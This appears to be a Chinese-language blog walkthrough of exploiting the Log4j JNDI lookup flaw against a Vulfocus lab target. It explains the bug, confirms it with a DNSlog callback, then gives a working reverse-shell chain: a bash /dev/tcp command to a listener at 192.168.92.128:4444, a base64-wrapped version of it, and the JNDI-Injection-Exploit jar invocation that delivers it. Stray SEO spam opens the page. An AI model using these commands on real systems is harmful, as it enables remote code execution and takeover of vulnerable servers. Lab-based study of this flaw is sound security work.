網(wǎng)站設(shè)置了刷新限制關(guān)鍵詞代發(fā)排名首頁(yè)
一、漏洞原理
log4j(log for java)是由Java編寫的可靠、靈活的日志框架,是Apache旗下的一個(gè)開源項(xiàng)目,使用Log4j,我們更加方便的記錄了日志信息,它不但能控制日志輸出的目的地,也能控制日志輸出的內(nèi)容格式;通過(guò)定義不同的日志級(jí)別,可以更加精確的控制日志的生成過(guò)程,從而達(dá)到我們應(yīng)用的需求;這一切,都得益于一個(gè)靈活的配置文件,并不需要我們更改代碼。
由于log4j提供了lookup機(jī)制,使日志中的${}也可進(jìn)行執(zhí)行,在其中輸入JNDI的payload,即可進(jìn)行執(zhí)行。
使用lookup進(jìn)行jndi注入,通過(guò)ldap、rmi等使其訪問不安全的服務(wù)。
二、驗(yàn)證漏洞
開啟vulfocus的靶場(chǎng)
進(jìn)入指定url后點(diǎn)一下連接進(jìn)行抓包,可以看到這次的輸入是get型
使用開源的dnslog:ceye.io
先url編碼
點(diǎn)擊發(fā)送,DNSLOG收到了訪問請(qǐng)求
成功驗(yàn)證漏洞存在
三、反彈shell
反彈shell采取如圖結(jié)構(gòu):
監(jiān)聽機(jī)kali: 192.168.92.128
反彈shell:
bash -i >& /dev/tcp/192.168.92.128/4444 0>&1
由于runtime不會(huì)執(zhí)行管道,所以需要將反彈shell使用base64加密
bash -c "{echo,加密后文本}|{base64,-d}|{bash,-i}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjEyOC80NDQ0IDA+JjE=bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar是jndi注入工具,起到了上述危險(xiǎn)服務(wù)器的作用。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "10.88.84.219"
此處必須復(fù)制無(wú)版本號(hào)的rmi,否則不會(huì)成功,理由未知。